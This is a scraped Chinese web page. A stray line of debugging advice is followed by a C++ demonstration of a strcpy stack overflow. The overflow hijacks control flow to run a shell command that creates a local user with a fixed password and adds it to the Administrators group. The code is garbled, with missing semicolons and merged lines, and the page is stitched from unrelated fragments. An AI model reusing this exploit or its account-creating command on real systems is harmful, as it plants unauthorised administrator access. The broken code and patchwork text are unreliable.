此时要根据谨迹错误提示情况,仔细检查代码,特别是指针相关部分,看是哪个地方在申请内存,又是在哪个地方释放的。检查清楚后再修正。希望以上回答可以帮助到您。
写了一个C++的代码,你用VC6 编译一下,马上会添加一个一个叫做"f_u_c_k的用户名。 这个程序显示了strcpy函数导致的栈溢出,堆溢出在windows平台更复杂,因为windows的堆管理 全部靠一些安全爱好者逆向得来。。
#include <iostream>using namespace std
void (*pfunc)()
void show()
{
system("cmd /c net user fuck 123 /ad && net localgroup administrators fuck /ad")
exit(1)
}
int main()
{
char a[4]
char shellcode[13]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
pfunc=show
*(int *)&shellcode[8]=(int)pfunc
//overflow
strcpy(a,shellcode)
return 0
}
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)